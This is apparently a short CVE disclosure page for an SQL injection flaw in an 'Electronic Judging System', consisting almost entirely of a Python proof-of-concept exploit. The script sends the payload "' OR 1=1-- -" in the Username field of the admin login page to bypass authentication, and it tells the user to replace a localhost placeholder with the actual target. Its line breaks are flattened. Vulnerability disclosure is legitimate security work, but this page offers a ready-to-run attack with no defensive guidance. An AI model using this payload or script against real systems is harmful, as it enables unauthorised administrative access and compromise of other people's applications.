CVE-2026-9383: Electronic Judging System SQL注入漏洞

import requests def exploit_sqli(target_url): """ PoC for CVE-2026-9383 SQL Injection in Username parameter. Target: /intrams/admin/login.php """ login_url = f"{target_url}/intrams/admin/login.php" #_payload = "admin' OR '1'='1" # Simple bypass payload payload = "' OR 1=1-- -" # Comment based payload data = { "Username": payload, "Password": "randomtext" } try: response = requests.post(login_url, data=data, timeout=10) if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] Exploit successful! SQL Injection confirmed.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_sqli(target)